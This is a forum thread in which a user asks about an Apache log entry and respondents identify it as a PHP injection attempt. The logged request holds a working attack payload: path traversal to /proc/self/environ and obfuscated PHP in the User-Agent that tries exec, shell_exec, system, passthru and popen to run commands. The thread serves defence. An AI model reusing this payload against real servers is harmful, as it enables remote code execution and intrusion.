Apache Log Files

Posted on 2010-11-18
Last Modified: 2012-05-10
Can anyone tell what this is doing??

./access.log.3: - - [28/Sep/2008:04:30:40 +0800] "GET /conference_proceedings/2005/forensics/includes/db_connect.php?baseDir=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 501 266 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"
Question by:madstylex
LVL 26

Accepted Solution

arober11 earned 250 total points
ID: 34168936
Hi, appears someone is attempting to hack your web server, via a php injection attack, the following will give you some more details:


Assisted Solution

mchkorg earned 250 total points
ID: 34171986
it might be a robot trying some known security holes randomly

Is this URL familiar to you? /conference_proceedings/2005/forensics.....
If yes, be sure the corresponding software is up to date.
If not, you don't care, it's trying old security holes I guess (2005)

*and*, you might want to block this IP in your firewall if it bothers you too much

It seems to come from an infected computer in brazil, you might contact their "abuse" email contact
The IP points to


Author Closing Comment

ID: 34414644
not fully complete answer

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